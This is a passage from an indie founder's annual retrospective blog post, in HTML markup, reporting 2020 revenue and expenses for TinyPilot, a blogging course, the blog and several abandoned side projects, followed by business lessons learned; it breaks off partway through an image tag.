&lt;p>Miraculously, one new product in May turned everything around. By the end of the year, I earned $63k in revenue, far exceeding my goal.&lt;/p>
&lt;p>&lt;canvas id="overall-finances">&lt;/canvas>&lt;/p>
&lt;p>Okay, my net profits are still negative, but this time I have a good excuse!&lt;/p>
&lt;p>I sell a physical product now, so my income lags my expenses by two or three months. My profit margins are 30-50% per sale, so the numbers will catch up eventually.&lt;/p>
&lt;div class="notice notice-info">
 &lt;p>&lt;strong>Wait, how can you afford to keep losing money?&lt;/strong>&lt;/p>
&lt;p>I went into more detail about this &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#how-can-you-afford-to-keep-losing-money">in last year&amp;rsquo;s retrospective&lt;/a>, but the short version is: low cost of living, significant savings from my Google days, and passive investment income.&lt;/p>

&lt;/div>

&lt;h2 id="project-by-project">Project by project&lt;/h2>
&lt;h3 id="tinypilot">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/voyager.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/voyager_hu_24e2f1e53149f75f.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-3/voyager_hu_45498c0c4ed944d0.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-3/voyager_hu_e8ff5aa62abcb057.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-3/voyager_hu_12fb65b729e8c08d.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-3/voyager.jpg 1600w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/voyager.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> is an inexpensive device I created to manage servers remotely.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>For the past few years, I&amp;rsquo;ve done all my software development on a &lt;a href="https://mtlynch.io/building-a-vm-homelab/">home server&lt;/a>. It works great, except for when I screw up the network configuration or want to install a new operating system. My server has no monitor or keyboard attached, so I have to drag it over to my desk, swap all the cables with my workstation, and then swap everything back when I&amp;rsquo;m done.&lt;/p>
&lt;p>I&amp;rsquo;d read that a &lt;a href="https://www.raspberrypi.org/">Raspberry Pi&lt;/a> could masquerade as a USB keyboard, and I knew it could capture video. What if a web app combined those two features and transformed the Pi into a miniature remote administration device?&lt;/p>
&lt;p>After a few months of tinkering, I had a working prototype.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 














 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/win-ubuntu.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/win-ubuntu_hu_fd924714cfda180c.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-3/win-ubuntu_hu_75897119dadf9087.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-3/win-ubuntu_hu_57b999a67d0ff2e4.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-3/win-ubuntu_hu_976d49869eeabee2.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-3/win-ubuntu.jpg 1600w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/win-ubuntu.jpg" alt="Photo of TinyPilot connecting two computers" loading="lazy"/>
 &lt;/a>



&lt;/div>



&lt;a href="tinypilot-bios.gif" style="max-width: 445px">&lt;img src="tinypilot-bios.gif" style="object-fit: contain;">&lt;/a>


 &lt;/div>
 &lt;figcaption>&lt;p>Prototype of TinyPilot, my open-source KVM over IP device&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I questioned whether there was a market for this. Why would anyone buy this device from me? It was just a collection of widely available hardware components. Maybe one or two customers per week would purchase, so if I made $80 per kit, it would be worth my time packing and shipping orders.&lt;/p>
&lt;p>Then, I published &lt;a href="https://mtlynch.io/tinypilot/">a blog post&lt;/a> about it.&lt;/p>
&lt;p>Immediately, it became clear that this business was different than anything I&amp;rsquo;d ever done before. Less than four hours after the blog post went live, customers had purchased all nine kits from my inventory, and they kept buying even when it was backordered.&lt;/p>
&lt;p>Within a week, the blog post had driven $8.8k in sales. It reached the front page of Hacker News and became &lt;a href="https://bestofshowhn.com/">one of the top &amp;ldquo;Show HN&amp;rdquo; posts&lt;/a> of all time.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 666px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-hn.png">
 &lt;img
 
 sizes="(min-width: 768px) 666px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-hn_hu_638cbb07e78fa9ba.png 300w, https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-hn_hu_6e0710f3cc098f53.png 600w, https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-hn.png 666w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-hn.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 665px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-reddit.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 665px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-reddit_hu_384f282b4e108a1f.png 300w, https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-reddit_hu_4254a401f0b07eb4.png 600w, https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-reddit.png 663w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/tinypilot-reddit.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s response on Hacker News and reddit&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>There was a drop in sales after that initial spike, but TinyPilot has been growing consistently ever since. I had zero experience selling a physical product, so I quickly learned how to &lt;a href="https://mtlynch.io/retrospectives/2020/08/#managing-inventory-is-hard">manage inventory&lt;/a>, systematize the order fulfillment process, and work with vendors to make &lt;a href="https://mtlynch.io/retrospectives/2020/10/#manufacturing-a-power-connector-from-start-to-finish">circuit boards&lt;/a> and &lt;a href="https://mtlynch.io/retrospectives/2020/12/#new-products-require-new-habits">3D-printed cases&lt;/a>.&lt;/p>
&lt;p>TinyPilot ended the year with almost $54k in revenue. My net income is still negative, but it&amp;rsquo;s because my costs are front-loaded. TinyPilot&amp;rsquo;s expenses for 2020 include inventory to last through February 2021.&lt;/p>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Sales&lt;/td>
 &lt;td>$53,362&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$380&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Materials&lt;/td>
 &lt;td>-$46,143&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Electrical engineering consulting&lt;/td>
 &lt;td>-$7,130&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Order fulfillment&lt;/td>
 &lt;td>-$2,570&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Software development*&lt;/td>
 &lt;td>-$1,321&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Open-source contributions&lt;/td>
 &lt;td>-$1,270&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Advertising&lt;/td>
 &lt;td>-$675&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphic design&lt;/td>
 &lt;td>-$250&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting / Domains&lt;/td>
 &lt;td>-$64&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>-$5,681&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* I write the vast majority of the code, but I hired a developer to help with the &lt;a href="https://tinypilotkvm.com/">sales page&lt;/a>.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/htfp-cover.png">
 &lt;img
 
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/htfp-cover_hu_cb6820c89c962926.png 300w, https://mtlynch.io/bootstrapped-founder-year-3/htfp-cover_hu_b1d7731df58cb60.png 600w, https://mtlynch.io/bootstrapped-founder-year-3/htfp-cover_hu_a2754d493e5caed0.png 800w, https://mtlynch.io/bootstrapped-founder-year-3/htfp-cover_hu_7def055ef644e1cc.png 1200w, https://mtlynch.io/bootstrapped-founder-year-3/htfp-cover.png 5334w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/htfp-cover.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://hitthefrontpage.com">&lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/a> is my course about my blogging.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In May, I gave an informal presentation to my peer mentorship group called &lt;a href="https://decks.mtlynch.io/show-and-tell-2020-05/">&amp;ldquo;How to be a Sort of Successful Software Blogger.&amp;rdquo;&lt;/a> I tried to deconstruct the techniques that make my writing succeed on sites like Hacker News and reddit. It was fun to share my process, but I didn&amp;rsquo;t know what more to do with the material.&lt;/p>
&lt;p>Over the year, I increasingly saw developers teaching what they knew in paid courses. TinyPilot had shown me how powerful it was to align my blog with my business. If people liked my blog, they might be interested in purchasing a course about my writing.&lt;/p>
&lt;p>Recording the course was harder than I expected. I planned for 30-40 hours of work, but it turned into nearly 200.&lt;/p>
&lt;p>The course came out in January 2021, so the numbers below don&amp;rsquo;t include post-launch orders. Sales have been modest so far, but it&amp;rsquo;s too early to get a sense of long-term revenue. In any case, I&amp;rsquo;m proud of the material, and several of my students have told me that the lessons impacted their writing significantly.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pre-orders&lt;/td>
 &lt;td>29&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Pre-order revenue&lt;/td>
 &lt;td>$1,431&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cover design&lt;/td>
 &lt;td>-$293&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Recording equipment&lt;/td>
 &lt;td>-$584&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$554&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="mtlynchio-this-blog">mtlynch.io (this blog)&lt;/h3>
&lt;p>My major change in blogging this year was thinking more strategically about article topics. Before 2020, I wrote with an attitude of, &amp;ldquo;This topic is on my mind right now, so I&amp;rsquo;m going to write about it and see what happens.&amp;rdquo; Sometimes the post would find an audience, but more often, it wouldn&amp;rsquo;t.&lt;/p>
&lt;p>This year, before I began any new article, I asked myself two questions:&lt;/p>
&lt;ol>
&lt;li>How many readers are interested in this topic?&lt;/li>
&lt;li>Do I have a way of reaching them?&lt;/li>
&lt;/ol>
&lt;p>This small bit of planning made a huge difference in my readership. In 2019, my posts averaged 5,000 readers in their first week. In 2020, this number jumped to 25,000. Of the nine new blog posts I published, all but one reached the front page of Hacker News, and four of them hit the #1 slot.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2019&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pageviews&lt;/td>
 &lt;td>273,817&lt;/td>
 &lt;td>719,899&lt;/td>
 &lt;td>&lt;font color="green">+446,082 (+163%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate revenue*&lt;/td>
 &lt;td>$374&lt;/td>
 &lt;td>$1,599&lt;/td>
 &lt;td>&lt;font color="green">+$1,225 (+328%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Development&lt;/td>
 &lt;td>-$460&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>&lt;font color="green">-$460 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">Illustrations&lt;/a>&lt;/td>
 &lt;td>-$769&lt;/td>
 &lt;td>-$964&lt;/td>
 &lt;td>&lt;font color="red">+$195 (+25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting / Domain&lt;/td>
 &lt;td>-$150&lt;/td>
 &lt;td>-$534&lt;/td>
 &lt;td>&lt;font color="red">+$384 (+256%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/editor/">Editing&lt;/a> + &lt;a href="https://grammarly.com">Grammarly&lt;/a>&lt;/td>
 &lt;td>-$200&lt;/td>
 &lt;td>-$222&lt;/td>
 &lt;td>&lt;font color="red">+$22 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$3,835&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$121&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$3,714&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* I &lt;a href="https://twitter.com/deliberatecoder/status/1342847048811499523">dropped all affiliate partnerships&lt;/a> from this blog at the end of 2020.&lt;/p>
&lt;h2 id="failed-projects">Failed projects&lt;/h2>
&lt;p>One of the most important lessons I learned last year was that pursuing the right ideas means &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#pursuing-the-right-idea-means-rejecting-the-wrong-ones">rejecting the wrong ones&lt;/a>. After six to eight weeks, if a business fails to generate meaningful revenue, I either pivot to focus on different customers or move on to an entirely new project.&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/isitketo-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/isitketo-screenshot_hu_1de5c6c033b864e.png 300w, https://mtlynch.io/bootstrapped-founder-year-3/isitketo-screenshot_hu_2538e91e4038ef49.png 600w, https://mtlynch.io/bootstrapped-founder-year-3/isitketo-screenshot_hu_55f36e86378fc965.png 800w, https://mtlynch.io/bootstrapped-founder-year-3/isitketo-screenshot.png 1043w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/isitketo-screenshot.png" alt="Screenshot of Is It Keto website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> tells readers which foods fit the keto diet.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I started &lt;a href="https://isitketo.org">Is It Keto&lt;/a> in 2018. It&amp;rsquo;s a simple site that tells you whether or not particular foods fit the keto diet.&lt;/p>
&lt;p>I gave up on the site in 2019 but &lt;a href="https://mtlynch.io/retrospectives/2020/05/">came crawling back&lt;/a> in April 2020 after several of my new business ideas flopped. Is It Keto was profitable, but barely. It earned less than $0.01 per visitor, so it needed a drastic increase in visitors and/or earnings.&lt;/p>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;p>To scale growth, I tried to automate article-writing. For all of Is It Keto&amp;rsquo;s life, each article was 100% original and custom-written by me or &lt;a href="https://mtlynch.io/hiring-content-writers/">writers I hired&lt;/a>. In reviewing my existing content, I noticed consistent patterns that I could abstract into templates. Plugging in the right food name, photos, and nutritional information would allow me to generate new pages rapidly.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/isitketo-template.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/isitketo-template_hu_f623ed57ec547df0.png 300w, https://mtlynch.io/bootstrapped-founder-year-3/isitketo-template_hu_4172ed7d41a675fd.png 600w, https://mtlynch.io/bootstrapped-founder-year-3/isitketo-template_hu_b195509421a95300.png 800w, https://mtlynch.io/bootstrapped-founder-year-3/isitketo-template_hu_8e122a09ebac9081.png 1200w, https://mtlynch.io/bootstrapped-founder-year-3/isitketo-template.png 2169w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/isitketo-template.png" alt="Is It Keto article next to source code that generated it" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Creating Is It Keto articles programmatically from templates&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At first, it seemed like templatizing content would add hundreds of articles per week, but it proved challenging to scale that fast without sacrificing quality. In two months, I only managed to add 118 articles. The more templates I added, the faster I could go, but the additional content drew too few users to make it worthwhile.&lt;/p>
&lt;p>The other idea came from my friend &lt;a href="http://nugget.one/jv">Justin Vincent&lt;/a>, who was flabbergasted to hear that my site earned so little from 70-100k pageviews per month. He recommended that I build a paid sister product and use Is It Keto to attract qualified leads.&lt;/p>
&lt;p>I tested a few landing pages for keto communities and apps, but only 0.1% of visitors &lt;a href="https://mtlynch.io/retrospectives/2020/07/#validating-keto-product-ideas">signed up for more information&lt;/a>. Around this time, TinyPilot began taking off, so I put Is It Keto on the backburner.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2019&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pageviews&lt;/td>
 &lt;td>521,913&lt;/td>
 &lt;td>1,314,583&lt;/td>
 &lt;td>&lt;font color="green">+792,670 (+152%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ad revenue&lt;/td>
 &lt;td>$940&lt;/td>
 &lt;td>$2,934&lt;/td>
 &lt;td>&lt;font color="green">+$1,994 (+212%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate revenue&lt;/td>
 &lt;td>$1,315&lt;/td>
 &lt;td>$2,147&lt;/td>
 &lt;td>&lt;font color="green">+$832 (+63%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Meal plan sales*&lt;/td>
 &lt;td>$24&lt;/td>
 &lt;td>$18&lt;/td>
 &lt;td>&lt;font color="red">-$6 (-25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Freelance designers and &lt;a href="https://mtlynch.io/hiring-content-writers/">content writers&lt;/a>&lt;/td>
 &lt;td>-$4,322&lt;/td>
 &lt;td>-$105&lt;/td>
 &lt;td>&lt;font color="green">-$4,217 (-98%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting / domain&lt;/td>
 &lt;td>-$115&lt;/td>
 &lt;td>-$241&lt;/td>
 &lt;td>&lt;font color="red">+$126 (+110%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$2,158 &lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$4,753&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$6,911&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>* I &lt;a href="https://mtlynch.io/retrospectives/2019/12/#giving-up-on-meal-plans">gave up on meal plans&lt;/a> in January 2020&lt;/p>
&lt;h3 id="wanderjest">&lt;a href="https://wanderjest.com">WanderJest&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/wanderjest-feb-2020.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/wanderjest-feb-2020_hu_cbad4b6df0d661e0.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-3/wanderjest-feb-2020_hu_78999d35b3a77ae1.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-3/wanderjest-feb-2020_hu_c94b4452b577c828.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-3/wanderjest-feb-2020_hu_aecb48ce135086a5.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-3/wanderjest-feb-2020.jpg 1306w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/wanderjest-feb-2020.jpg" alt="Screenshot WanderJest website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://wanderjest.com">WanderJest&lt;/a> helps comedy fans find live comedy shows nearby.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>WanderJest was a short-lived project I started at the beginning of 2020. I described it as &amp;ldquo;Bandsintown, but for comedy.&amp;rdquo;&lt;/p>
&lt;p>I love comedy, but I&amp;rsquo;ve missed countless opportunities to see comedians perform near me. Either I&amp;rsquo;m not on the right mailing list, not following the right social media account, or not checking Ticketmaster at the right time. WanderJest was going to solve that by aggregating show listings from as many sources as possible.&lt;/p>
&lt;p>My plan was to make money through affiliate deals with theaters, but nobody ever used my discount codes. Once COVID hit, I &lt;a href="https://mtlynch.io/retrospectives/2020/04/#putting-wanderjest-on-hold">shuttered the site&lt;/a>.&lt;/p>
&lt;h3 id="portfolio-rebalancer">&lt;a href="https://rebalancer.mtlynch.io/">Portfolio Rebalancer&lt;/a>&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/rebalancer-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/rebalancer-screenshot_hu_133b32904b5827f8.png 300w, https://mtlynch.io/bootstrapped-founder-year-3/rebalancer-screenshot_hu_e2140b57a52686e6.png 600w, https://mtlynch.io/bootstrapped-founder-year-3/rebalancer-screenshot_hu_1cf5ae0db5ff5ef0.png 800w, https://mtlynch.io/bootstrapped-founder-year-3/rebalancer-screenshot.png 936w'
 src="https://mtlynch.io/bootstrapped-founder-year-3/rebalancer-screenshot.png" alt="Screenshot of Is It Keto website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://rebalancer.mtlynch.io/">Portfolio Rebalancer&lt;/a> helps passive investors manage their investments.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>My investment portfolio is a mix of stocks and bonds of different categories with a target percentage for each asset type. As prices fluctuate, the balance of my investments changes, so I have to move money around to get back to my target ratios. I do this a few times per year by tediously plugging numbers into a spreadsheet until everything looks right.&lt;/p>
&lt;p>What if a web app automated this? I put together a quick prototype and shared it on reddit, my blog, and through Google ads. The tool attracted 1,000 visitors in its first month. Sadly, only one person signed up for a free trial, and they never upgraded to a paid plan. I wasn&amp;rsquo;t confident in the idea to begin with, so I &lt;a href="https://mtlynch.io/retrospectives/2020/05/#portfolio-rebalancer-has-lots-of-visitors-but-no-sales">moved on&lt;/a> after a month.&lt;/p>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="productmarket-fit-is-magic">Product/market fit is magic&lt;/h3>
&lt;p>Finding &lt;a href="https://en.wikipedia.org/wiki/Product/market_fit">&amp;ldquo;product/market fit&amp;rdquo;&lt;/a> means building a product and connecting with enough customers to make your business viable. When founders talk about achieving product/market fit, they describe it in the same breathless tone as finding true love. Now, I understand why.&lt;/p>
&lt;p>The first two and a half years of working on my own, I&amp;rsquo;d spend hundreds of hours executing an idea and see only a few dollars of extra revenue. TinyPilot was product/market fit at first sight. As soon as I published the blog post, I knew.&lt;/p>
&lt;p>With TinyPilot, it feels like the product drives the business, and I&amp;rsquo;m just along for the ride. There have been several months where I made critical mistakes in managing the business, and it continued growing anyway.&lt;/p>
&lt;p>When I do improve the product, the results are immediate and substantial. In November, I released &lt;a href="https://tinypilotkvm.com/blogs/news/introducing-voyager">a new, high-end model&lt;/a> of TinyPilot. It sold 55 units in the first month, generating an extra $14k in revenue. That felt a whole lot better than &lt;a href="#is-it-keto">my 0.1% signup rate&lt;/a> on Is It Keto and Portfolio Rebalancer.&lt;/p>
&lt;h3 id="you-can-build-a-successful-business-without-being-available-247">You can build a successful business without being available 24/7&lt;/h3>
&lt;p>I still vividly remember a show I saw at the &lt;a href="https://ucbtheatre.com/">UCB comedy theater&lt;/a> in late 2017, but I couldn&amp;rsquo;t tell you a single joke from the performance. All I remember was worrying the entire time that the pager in my pocket could go off at any moment and force me to rush home.&lt;/p>
&lt;p>My team at Google had an &amp;ldquo;on-call rotation,&amp;rdquo; which meant that every two months, you carried a pager everywhere you went for two weeks. If the pager went off, you had to be &amp;ldquo;fingers on keyboard&amp;rdquo; within 30 minutes.&lt;/p>
&lt;p>When I left Google, I was &lt;a href="https://mtlynch.io/why-i-quit-google/#whats-next">unsure of my future plans&lt;/a>, but I was certain of one thing: I&amp;rsquo;d never carry a pager again. And I haven&amp;rsquo;t — I&amp;rsquo;ve refused to entertain any business idea where an outage would be A Big Deal.&lt;/p>
&lt;p>Around the two year mark, thoughts began creeping into my mind that &lt;em>this&lt;/em> was what held me back. Other founders were building services that promised constant availability, so why should I succeed with anything less?&lt;/p>
&lt;p>Fortunately, bootstrapped founder extraordinaire Jason Cohen told me to keep doing what I&amp;rsquo;m doing. Well, he didn&amp;rsquo;t tell &lt;em>me&lt;/em> exactly, but it felt like he was speaking directly to me. At &lt;a href="https://youtu.be/otbnC2zE2rw?t=1962">the 32-minute mark&lt;/a> of his excellent talk, &lt;a href="https://www.youtube.com/watch?v=otbnC2zE2rw">&amp;ldquo;Designing the Ideal Bootstrapped Business,&amp;rdquo;&lt;/a> Cohen pointedly discourages founders from creating &amp;ldquo;real-time&amp;rdquo; businesses. He explained that if you&amp;rsquo;re a self-funded small business, it&amp;rsquo;s not worth having customers wake you up in the middle of the night.&lt;/p>
&lt;div style="max-width: 600px; display: block; margin: 0 auto;">
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/otbnC2zE2rw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="Designing the Ideal Bootstrapped Business">&lt;/iframe>
 &lt;/div>

&lt;/div>
&lt;p>I&amp;rsquo;m so glad I didn&amp;rsquo;t cave to my fears. TinyPilot is about as far from &amp;ldquo;real-time&amp;rdquo; as it gets. Customers run my software on their own hardware, so I could shut down every server and code repository without interrupting anyone&amp;rsquo;s workflow.&lt;/p>
&lt;h3 id="success-is-more-stressful-than-failure">Success is more stressful than failure&lt;/h3>
&lt;p>Even though TinyPilot doesn&amp;rsquo;t require constant availability, my brain often forgets that.&lt;/p>
&lt;p>After my big launch, I couldn&amp;rsquo;t sleep for two days. I mailed out all nine kits to my customers and then agonized over what would happen next. What if everyone got their devices, and none of them worked? What if my customers expected TinyPilot to do something totally different? What if there was some horrible bug that destroyed everyone&amp;rsquo;s servers?&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/first-9.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-3/first-9_hu_92b66dfbc47ffcbc.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-3/first-9_hu_24c65c3164443068.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-3/first-9_hu_f61f8163bf6c5565.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-3/first-9_hu_e010a0304b81f64c.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-3/first-9.jpg 1600w'
